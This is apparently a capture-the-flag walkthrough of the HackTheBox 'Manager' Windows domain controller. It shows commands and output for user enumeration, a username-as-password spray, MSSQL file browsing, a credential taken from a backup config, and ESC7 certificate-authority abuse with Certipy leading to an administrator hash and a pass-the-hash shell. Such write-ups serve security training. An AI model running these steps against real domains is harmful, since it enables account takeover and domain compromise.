Manager starts with a RID cycle or Kerberos brute force to find users on the domain, and then a password spray using each user’s username as their password. When the operator account hits, I’ll get access to the MSSQL database instance, and use the xp_dirtree feature to explore the file system. I’ll find a backup archive of the webserver, including an old config file with creds for a user. As that user, I’ll get access to the ADCS instance and exploit the ESC7 misconfiguration to get access as administrator.
Recon
nmap
nmap
finds a bunch of open TCP ports:
# Nmap 7.95 scan initiated Thu Apr 24 16:22:51 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -oN manager.nmap 10.10.11.236
Nmap scan report for 10.10.11.236
Host is up (0.013s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Manager
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-24 21:23:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-24T21:24:22+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after: 2122-07-27T10:31:04
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after: 2122-07-27T10:31:04
|_ssl-date: 2025-04-24T21:24:21+00:00; +6h59m59s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 10.10.11.236:1433:
| Target_Name: MANAGER
| NetBIOS_Domain_Name: MANAGER
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: manager.htb
| DNS_Computer_Name: dc01.manager.htb
| DNS_Tree_Name: manager.htb
|_ Product_Version: 10.0.17763
|_ssl-date: 2025-04-24T21:24:22+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-04-24T21:21:14
|_Not valid after: 2055-04-24T21:21:14
| ms-sql-info:
| 10.10.11.236:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-24T21:24:22+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after: 2122-07-27T10:31:04
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-24T21:24:21+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after: 2122-07-27T10:31:04
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-04-24T21:23:43
|_ start_date: N/A
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 24 16:24:22 2025 -- 1 IP address (1 host up) scanned in 91.15 seconds
There’s a lot here!
- This is clearly a Windows host, and based on the IIS version from the webserver listening on port 80 it’s at least Windows 10 or Server 2016.
- The hostname is dc01, in the domain
manager.htb
(based on LDAP and MSSQL). - Based on the hostname and the combination of listening ports (Kerberos on 88, LDAP, etc), this host is likely a Windows domain controller.
- There’s a MSSQL database server exposed on 1433. There’s rarely a way to connect unauthenticated, but should I find creds, I’ll want to check this out.
- 5985 (WinRM) is open, which means if I find creds for the right user, I could get a shell.
Virtual Hosts
Before checking the webserver, I’ll brute force subdomains of manager.htb
to see if any return something different with ffuf
:
ffuf -u http://10.10.11.236 -H "Host: FUZZ.manage.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
It doesn’t find anything. I’ll update my hosts
file:
10.10.11.236 manager.htb dc01.manager.htb
Website – TCP 80
Site
The site is for a content writing service
There is a contact form, but submitting it sends a GET request to /contact.html
without any of the data from the form.
Tech Stack
The pages on the site are all .html
files, which indicates a static site.
The HTTP response headers shows IIS and not much more:
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 27 Jul 2023 16:02:39 GMT
Accept-Ranges: bytes
ETag: "1c67a5c4a3c0d91:0"
Server: Microsoft-IIS/10.0
Date: Wed, 13 Mar 2024 07:03:59 GMT
Connection: close
Content-Length: 18203
The 404 page is the standard IIS 404:
Seems like static site running on IIS.
Directory Brute Force
I’ll run feroxbuster
against the site using a lowercase wordlist with Windows IIS:
feroxbuster -u http://10.10.11.236 -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
Nothing interesting.
SMB – TCP 445
netexec
shows the same domain and hostname:
puck@kali$ netexec smb 10.10.11.236
SMB 10.10.11.236 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
I can’t enumerate shares with no user, and a bad user does seen to get some auth, but then can’t list shares either:
puck@kali$ netexec smb 10.10.11.236 --shares
SMB 10.10.11.236 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [-] Error getting user: list index out of range
SMB 10.10.11.236 445 DC01 [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
puck@kali$ netexec smb 10.10.11.236 --shares -u puck -p puck
SMB 10.10.11.236 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [+] manager.htb\puck:puck
SMB 10.10.11.236 445 DC01 [-] Error enumerating shares: STATUS_ACCESS_DENIED
Given that some kind of null auth is allowed here, I can try a RID cycling attack, by bruteforcing Windows user security identifiers (SIDs) by incrementing the relative identifier (RID) part. The Impacket script loopupside.py
will do this nicely:
lookupsid.py puck@manager.htb -no-pass Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies [*] Brute forcing SIDs at manager.htb [*] StringBinding ncacn_np:manager.htb[\pipe\lsarpc] [*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209 498: MANAGER\Enterprise Read-only Domain Controllers (SidTypeGroup) 500: MANAGER\Administrator (SidTypeUser) 501: MANAGER\Guest (SidTypeUser) 502: MANAGER\krbtgt (SidTypeUser) 512: MANAGER\Domain Admins (SidTypeGroup) 513: MANAGER\Domain Users (SidTypeGroup) 514: MANAGER\Domain Guests (SidTypeGroup) 515: MANAGER\Domain Computers (SidTypeGroup) 516: MANAGER\Domain Controllers (SidTypeGroup) 517: MANAGER\Cert Publishers (SidTypeAlias) 518: MANAGER\Schema Admins (SidTypeGroup) 519: MANAGER\Enterprise Admins (SidTypeGroup) 520: MANAGER\Group Policy Creator Owners (SidTypeGroup) 521: MANAGER\Read-only Domain Controllers (SidTypeGroup) 522: MANAGER\Cloneable Domain Controllers (SidTypeGroup) 525: MANAGER\Protected Users (SidTypeGroup) 526: MANAGER\Key Admins (SidTypeGroup) 527: MANAGER\Enterprise Key Admins (SidTypeGroup) 553: MANAGER\RAS and IAS Servers (SidTypeAlias) 571: MANAGER\Allowed RODC Password Replication Group (SidTypeAlias) 572: MANAGER\Denied RODC Password Replication Group (SidTypeAlias) 1000: MANAGER\DC01$ (SidTypeUser) 1101: MANAGER\DnsAdmins (SidTypeAlias) 1102: MANAGER\DnsUpdateProxy (SidTypeGroup) 1103: MANAGER\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias) 1113: MANAGER\Zhong (SidTypeUser) 1114: MANAGER\Cheng (SidTypeUser) 1115: MANAGER\Ryan (SidTypeUser) 1116: MANAGER\Raven (SidTypeUser) 1117: MANAGER\JinWoo (SidTypeUser) 1118: MANAGER\ChinHae (SidTypeUser) 1119: MANAGER\Operator (SidTypeUser)
The number before the :
in the output is the RID. I’ll use some Bash foo to get a nice users
list:
puck@kali$ lookupsid.py puck@manager.htb -no-pass | grep SidTypeUser | cut -d' ' -f2 | cut -d'\' -f2 | tr '[:upper:]' '[:lower:]' | tee users.txt
administrator
guest
krbtgt
dc01$
zhong
cheng
ryan
raven
jinwoo
chinhae
operator
I can also do this with netexec
, just need to use the guest account:
puck@kali$ netexec smb 10.10.11.236 -u guest -p '' --rid-brute
SMB 10.10.11.236 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [+] manager.htb\guest:
SMB 10.10.11.236 445 DC01 498: MANAGER\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 500: MANAGER\Administrator (SidTypeUser)
--snip--
SMB 10.10.11.236 445 DC01 1103: MANAGER\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)
SMB 10.10.11.236 445 DC01 1113: MANAGER\Zhong (SidTypeUser)
SMB 10.10.11.236 445 DC01 1114: MANAGER\Cheng (SidTypeUser)
SMB 10.10.11.236 445 DC01 1115: MANAGER\Ryan (SidTypeUser)
SMB 10.10.11.236 445 DC01 1116: MANAGER\Raven (SidTypeUser)
SMB 10.10.11.236 445 DC01 1117: MANAGER\JinWoo (SidTypeUser)
SMB 10.10.11.236 445 DC01 1118: MANAGER\ChinHae (SidTypeUser)
SMB 10.10.11.236 445 DC01 1119: MANAGER\Operator (SidTypeUser)
LDAP – TCP 389 (and others)
I’ll use ldapsearch
to confirm the base domain name:
puck@hkali$ ldapsearch -H ldap://dc01.manager.htb -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingcontexts: DC=manager,DC=htb
namingcontexts: CN=Configuration,DC=manager,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=manager,DC=htb
namingcontexts: DC=DomainDnsZones,DC=manager,DC=htb
namingcontexts: DC=ForestDnsZones,DC=manager,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
When I try to query further, it says I need auth, which I don’t have:
puck@hkali$ ldapsearch -H ldap://dc01.manager.htb -x -b "DC=manager,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=manager,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090CF4, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
# numResponses: 1
Kerberos – TCP 88
An alternative way to find usernames is by bruteforcing Kerberos with something like kerbrute
:
./kerbrute_linux_amd64 userenum /opt/SecLists/Usernames/cirt-default-usernames.txt --dc dc01.manager.htb -d manager.htb __ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ / ,< / __/ / / /_/ / / / /_/ / /_/ __/ /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ Version: v1.0.3 (9dad6e1) - 04/25/25 - Ronnie Flathers @ropnop 2025/04/25 14:57:59 > Using KDC(s): 2025/04/25 14:57:59 > dc01.manager.htb:88 2025/04/25 14:57:59 > [+] VALID USERNAME: ADMINISTRATOR@manager.htb 2025/04/25 14:57:59 > [+] VALID USERNAME: Administrator@manager.htb 2025/04/25 14:57:59 > [+] VALID USERNAME: Guest@manager.htb 2025/04/25 14:57:59 > [+] VALID USERNAME: GUEST@manager.htb 2025/04/25 14:57:59 > [+] VALID USERNAME: OPERATOR@manager.htb 2025/04/25 14:57:59 > [+] VALID USERNAME: Operator@manager.htb 2025/04/25 14:58:00 > [+] VALID USERNAME: administrator@manager.htb 2025/04/25 14:58:00 > [+] VALID USERNAME: guest@manager.htb 2025/04/25 14:58:00 > [+] VALID USERNAME: operator@manager.htb 2025/04/25 14:58:00 > Done! Tested 828 usernames (9 valid) in 1.079 seconds
It finds three, administrator, guest, and operator. I can use some other wordlists and find a handful more, but the important one is operator.
Shell as raven
Get Operator Password
I can do a quick check to see if any of the usernames I’ve collected use their username as their password. With netexec
, I’ll give the same list for -u
and -p
, and the --no-brute
flag, which means instead of tying each username with each password, it just tries the first username with the first password, the second with the second, and so on. I like the --continue-on-success
flag to check if there are more then one set of valid creds here:
netexec smb manager.htb -u users.txt -p users.txt --continue-on-success --no-brute SMB 10.10.11.236 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False) SMB 10.10.11.236 445 DC01 [-] manager.htb\administrator:administrator STATUS_LOGON_FAILURE SMB 10.10.11.236 445 DC01 [-] manager.htb\guest:guest STATUS_LOGON_FAILURE SMB 10.10.11.236 445 DC01 [-] manager.htb\krbtgt:krbtgt STATUS_LOGON_FAILURE SMB 10.10.11.236 445 DC01 [-] manager.htb\dc01$:dc01$ STATUS_LOGON_FAILURE SMB 10.10.11.236 445 DC01 [-] manager.htb\zhong:zhong STATUS_LOGON_FAILURE SMB 10.10.11.236 445 DC01 [-] manager.htb\cheng:cheng STATUS_LOGON_FAILURE SMB 10.10.11.236 445 DC01 [-] manager.htb\ryan:ryan STATUS_LOGON_FAILURE SMB 10.10.11.236 445 DC01 [-] manager.htb\raven:raven STATUS_LOGON_FAILURE SMB 10.10.11.236 445 DC01 [-] manager.htb\jinwoo:jinwoo STATUS_LOGON_FAILURE SMB 10.10.11.236 445 DC01 [-] manager.htb\chinhae:chinhae STATUS_LOGON_FAILURE SMB 10.10.11.236 445 DC01 [+] manager.htb\operator:operator
The operator account uses the password operator! It does not work over WinRM, so no shell from here:
puck@kali$ netexec winrm manager.htb -u operator -p operator
WINRM 10.10.11.236 5985 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
WINRM 10.10.11.236 5985 DC01 [-] manager.htb\operator:operator
Enumeration as operator
SMB
The shares on Management are the standard DC shares:
netexec smb manager.htb -u operator -p operator --shares SMB 10.10.11.236 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False) SMB 10.10.11.236 445 DC01 [+] manager.htb\operator:operator SMB 10.10.11.236 445 DC01 [*] Enumerated shares SMB 10.10.11.236 445 DC01 Share Permissions Remark SMB 10.10.11.236 445 DC01 ----- ----------- ------ SMB 10.10.11.236 445 DC01 ADMIN$ Remote Admin SMB 10.10.11.236 445 DC01 C$ Default share SMB 10.10.11.236 445 DC01 IPC$ READ Remote IPC SMB 10.10.11.236 445 DC01 NETLOGON READ Logon server share SMB 10.10.11.236 445 DC01 SYSVOL READ Logon server share
There’s nothing interesting in these.
LDAP
The operator account does have LDAP access:
netexec ldap manager.htb -u operator -p operator SMB 10.10.11.236 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False) LDAP 10.10.11.236 389 DC01 [+] manager.htb\operator:operator
Running ldapsearch -H ldap://dc01.manager.htb -x -D 'operator@manager.htb' -w operator -b "DC=manager,DC=htb"
will dump a bunch of LDAP to the terminal. I’ll use ldapdomaindump
to get all the info in a more viewable way:
ldapdomaindump -u management.htb\\operator -p 'operator' 10.10.11.236 [*] Connecting to host... [*] Binding to host [+] Bind OK [*] Starting domain dump [+] Domain dump finished
The domain_users_by_group.html
file is a nice overview of the users to target:
check which user can WinRM. Nothing else seems interesting.
MSSQL
The creds work for the database as well:
netexec mssql manager.htb -u operator -p operator MSSQL 10.10.11.236 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb) MSSQL 10.10.11.236 1433 DC01 [+] manager.htb\operator:operator
mssqlclient.py
will connect, using the -windows-auth
flag to say that it’s using the OS authentication, not creds within the DB:
mssqlclient.py -windows-auth manager.htb/operator:operator@manager.htb
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (MANAGER\Operator guest@master)> select name from master..sysdatabases;
name
------
master
tempdb
model
msdb
SQL (MANAGER\Operator guest@master)>
All four are default MSSQL databases.
mssqlclient.py
has extra shortcut commands to do common attacker things on the DB:
SQL (MANAGER\Operator guest@master)> help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
enum_db - enum databases
enum_links - enum linked servers
enum_impersonate - check logins that can be impersonate
enum_logins - enum login users
enum_users - enum current db users
enum_owner - enum db owner
exec_as_user {user} - impersonate with execute as user
exec_as_login {login} - impersonate with execute as login
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
xp_dirtree {path} - executes xp_dirtree on the path
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
use_link {link} - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
! {cmd} - executes a local shell cmd
show_query - show query
mask_query - mask query
enum_db
will show the same thing I queried above:
SQL (MANAGER\Operator guest@master)> enum_db
name is_trustworthy_on
------ -----------------
master 0
tempdb 0
model 0
msdb 1
xp_cmdshell
is feature in MSSQL to run commands on the system. operator doesn’t have access, and can’t enable it:
SQL (MANAGER\Operator guest@master)> xp_cmdshell whoami
[-] ERROR(DC01\SQLEXPRESS): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
SQL (MANAGER\Operator guest@master)> enable_xp_cmdshell
[-] ERROR(DC01\SQLEXPRESS): Line 105: User does not have permission to perform this action.
[-] ERROR(DC01\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
[-] ERROR(DC01\SQLEXPRESS): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
[-] ERROR(DC01\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
xp_dirtree
is another feature for listing files on the filesystem. It works:
SQL (MANAGER\Operator guest@master)> xp_dirtree C:\
subdirectory depth file
------------------------- ----- ----
$Recycle.Bin 1 0
Documents and Settings 1 0
inetpub 1 0
PerfLogs 1 0
Program Files 1 0
Program Files (x86) 1 0
ProgramData 1 0
Recovery 1 0
SQL2019 1 0
System Volume Information 1 0
Users 1 0
Windows 1 0
Filesystem
The only interesting directory in C:\Users
is Raven
, and it is unaccessible. In the web root, I’ll confirm that this is a static HTML site:
SQL (MANAGER\Operator guest@master)> xp_dirtree C:\inetpub\wwwroot
subdirectory depth file
------------------------------- ----- ----
about.html 1 1
contact.html 1 1
css 1 0
images 1 0
index.html 1 1
js 1 0
service.html 1 1
web.config 1 1
website-backup-27-07-23-old.zip 1 1
There’s also a backup zip!
Backup Archive
I’ll grab the archive from the webserver:
wget http://manager.htb/website-backup-27-07-23-old.zip --2025-04-25 15:12:23-- http://manager.htb/website-backup-27-07-23-old.zip Resolving manager.htb (manager.htb)... 10.10.11.236 Connecting to manager.htb (manager.htb)|10.10.11.236|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1045328 (1021K) [application/x-zip-compressed] Saving to: ‘website-backup-27-07-23-old.zip’ website-backup-27-07-23-old.z 100%[==============================================>] 1021K 465KB/s in 2.2s 2025-04-25 15:12:25 (465 KB/s) - ‘website-backup-27-07-23-old.zip’ saved [1045328/1045328]
And extract it:
puck@kali$ unzip website-backup-27-07-23-old.zip -d webbackup/
The first file, .old-conf.xml
is interesting. It has an LDAP configuration for the raven user including a password:
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<server>
<host>dc01.manager.htb</host>
<open-port enabled="true">389</open-port>
<secure-port enabled="false">0</secure-port>
<search-base>dc=manager,dc=htb</search-base>
<server-type>microsoft</server-type>
<access-user>
<user>raven@manager.htb</user>
<password>R4v3nBe5tD3veloP3r!123</password>
</access-user>
<uid-attribute>cn</uid-attribute>
</server>
<search type="full">
<dir-list>
<dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
</dir-list>
</search>
</ldap-conf>
WinRM
The LDAP enumeration showed that raven is in the Remote Management Users group, which means they should be able to WinRM. netexec
confirms, and that this password works:
puck@kali$ netexec winrm manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'
WINRM 10.10.11.236 5985 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
WINRM 10.10.11.236 5985 DC01 [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123 (Pwn3d!)
I’m able to connect and get a shell:
puck@kali$ evil-winrm -i manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'
Evil-WinRM shell v3.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Raven\Documents>
And grab user.txt
:
Shell as administrator
Enumeration
Filesystem
raven’s home directory is otherwise completely empty:
*Evil-WinRM* PS C:\Users\Raven> ls -recurse .
Directory: C:\Users\Raven
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 7/27/2023 8:24 AM Desktop
d-r--- 7/27/2023 8:23 AM Documents
d-r--- 9/15/2018 12:19 AM Downloads
d-r--- 9/15/2018 12:19 AM Favorites
d-r--- 9/15/2018 12:19 AM Links
d-r--- 9/15/2018 12:19 AM Music
d-r--- 9/15/2018 12:19 AM Pictures
d----- 9/15/2018 12:19 AM Saved Games
d-r--- 9/15/2018 12:19 AM Videos
Directory: C:\Users\Raven\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 3/12/2024 9:21 PM 34 user.txt
There’s no other user directories, and the web directory doesn’t have anything else interesting.
ADCS
With a Windows domain, the next thing to check used to be Bloodhound, but lately it’s worth checking Advice Directory Certificate Services (ADCS) as well, and that’s quick, so I’ll start there. This can be done by uploading Certify or remotely with Certipy. I find Certipy easier.
I’ll look for vulnerable templates:
certipy find -dc-ip 10.10.11.236 -ns 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -vulnerable -stdout Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 33 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 11 enabled certificate templates [*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA [*] Got CA configuration for 'manager-DC01-CA' [*] Enumeration output: Certificate Authorities 0 CA Name : manager-DC01-CA DNS Name : dc01.manager.htb Certificate Subject : CN=manager-DC01-CA, DC=manager, DC=htb Certificate Serial Number : 5150CE6EC048749448C7390A52F264BB Certificate Validity Start : 2023-07-27 10:21:05+00:00 Certificate Validity End : 2122-07-27 10:31:04+00:00 Web Enrollment : Disabled User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Permissions Owner : MANAGER.HTB\Administrators Access Rights Enroll : MANAGER.HTB\Operator MANAGER.HTB\Authenticated Users MANAGER.HTB\Raven ManageCertificates : MANAGER.HTB\Administrators MANAGER.HTB\Domain Admins MANAGER.HTB\Enterprise Admins ManageCa : MANAGER.HTB\Administrators MANAGER.HTB\Domain Admins MANAGER.HTB\Enterprise Admins MANAGER.HTB\Raven [!] Vulnerabilities ESC7 : 'MANAGER.HTB\\Raven' has dangerous permissions Certificate Templates : [!] Could not find any certificate templates
The last line is the most important! Raven has dangerous permissions, with the label ESC7.
ESC7
Add Manage Certificates
ESC7 is when a user has either the “Manage CA” or “Manage Certificates” access rights on the certificate authority itself. Raven has ManageCa rights (shown in the output above).
The steps to exploit this are on the Certipy README.
First, I’ll need to use the Manage CA permission to give Raven the Manage Certificates permission:
certipy ca -ca manager-DC01-CA -add-officer raven -username raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Successfully added officer 'Raven' on 'manager-DC01-CA'
Now Raven shows up there where they didn’t before:
puck@kali$ certipy find -dc-ip 10.10.11.236 -ns 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -vulnerable -stdout
...[snip]...
ManageCertificates : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
MANAGER.HTB\Raven
...[snip]...
This gets reset periodically, so if I find some step breaks while exploiting, it’s worth going back to see if that is why.
Administrator Certificate
The first step is to request a certificate based on the Subordinate Certification Authority (SubCA) template provided by ADCS. The SubCA template serves as a predefined set of configurations and policies governing the issuance of certificates.
certipy req -ca manager-DC01-CA -target dc01.manager.htb -template SubCA -upn administrator@manager.htb -username raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate. [*] Request ID is 20 Would you like to save the private key? (y/N) y [*] Saved private key to 20.key [-] Failed to request certificate
This fails, but it saves the private key involved. Then, using the Manage CA and Manage Certificates privileges, I’ll use the ca
subcommand to issue the request:
The server is resetting every minute, so execute below commands fast
certipy ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
certipy ca -ca 'manager-DC01-CA' -enable-template SubCA -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'
certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -template SubCA -upn administrator@manager.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 28
Would you like to save the private key? (y/N) y
[*] Saved private key to 28.key
[-] Failed to request certificate
certipy ca -ca "manager-DC01-CA" -issue-request 28 -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
certipy req -ca manager-DC01-CA -target dc01.manager.htb -retrieve 28 -username raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Rerieving certificate with ID 28
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '28.key'
[*] Saved certificate and private key to 'administrator.pfx'
Administrator NTLM
With this certificate as the administrator user, the easiest way to get a shell is to use it to get the NTLM hash for the user with the auth
command. This requires the VM and target times to be in sync, with otherwise leads to this failure:
certipy auth -pfx administrator.pfx -dc-ip manager.htb Certipy v4.8.2 - by Oliver Lyak (ly4k) [-] Got error: nameserver manager.htb is not a dns.nameserver.Nameserver instance or text form, IP address, nor a valid https URL [-] Use -debug to print a stacktrace sudo ntpdate 10.10.11.236 2025-04-25 22:56:27.045339 (+0200) +25200.309718 +/- 0.006336 10.10.11.236 s1 no-leap CLOCK: time stepped by 25200.309718 Certipy auth -pfx administrator.pfx -dc-ip 10.10.11.236 Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Using principal: administrator@manager.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
.
WinRM
With the hash, I can get a shell as administrator using Evil-WinRM:
puck@kali$ evil-winrm -i manager.htb -u administrator -H ae5064c2f62317332c88629e025924ef
Evil-WinRM shell v3.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
And grab root.txt
:
-------
Beyond Root working
xfreerdp3 /v:10.10.11.236:3389 /u:puck /p:Start123! /w:1566 /h:968
*Evil-WinRM* PS C:\programdata> type C:\users\administrator\AppData\Local\Microsoft\input\clean.ps1
Get-CertificationAuthority -Name "manager-dc01-ca" | Get-CATemplate | Remove-CaTemplate -Name "SubCA"
$acl = Get-CertificationAuthority -Name "manager-dc01-ca" | Get-CAACL
Remove-CAACL -InputObject $acl -Identity "MANAGER\Raven" -AccessType "Allow"
$ACE = New-Object SysadminsLV.PKI.Security.AccessControl.CertSrvAccessRule ([Security.Principal.NTAccount]"Raven"), "ManageCA, Enroll", "Allow"
